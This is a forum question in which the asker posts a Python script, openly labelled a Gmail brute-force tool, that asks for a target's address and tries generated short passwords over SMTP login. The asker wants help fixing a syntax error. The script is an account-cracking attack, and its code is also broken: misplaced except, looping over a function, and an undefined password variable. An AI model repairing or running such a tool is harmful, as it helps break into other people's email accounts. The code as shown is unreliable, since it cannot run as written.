title: A basic gmail BruteForce program in python
body: <p>I am trying to figure out why isn't my code working. I am trying to improve my python skill by adding some code to another, but when I tried to execute it keeps giving me a syntax error.</p>
  
  <pre><code>import itertools 
  import smtplib
  
  smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  smtpserver.ehlo()
  smtpserver.starttls()
  
  user = raw_input("Enter Target's Gmail Address: ")
  def print_perms(chars, minlen, maxlen): 
      for n in range(minlen, maxlen+1): 
          for perm in itertools.product(chars, repeat=n): 
              print(''.join(perm)) 
  
  print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
  
  for symbols in print_perms:
      try:
          smtpserver.login(user, password)
  
          print "[+] Password Cracked: %s" % symbols
          break;
          except smtplib.SMTPAuthenticationError:
              print "[!] Password Inccorect: %s" % symbols
  </code></pre>
  
  <p>the output is</p>
  
  <pre><code>File "main.py", line 22                                                                                                                                                       
      except smtplib.SMTPAuthenticationError:                                                                                                                                     
           ^                                                                                                                                                                      
  SyntaxError: invalid syntax 
  </code></pre>
  
  <p>I just don't understand, may somebody discover and patch up the problem</p>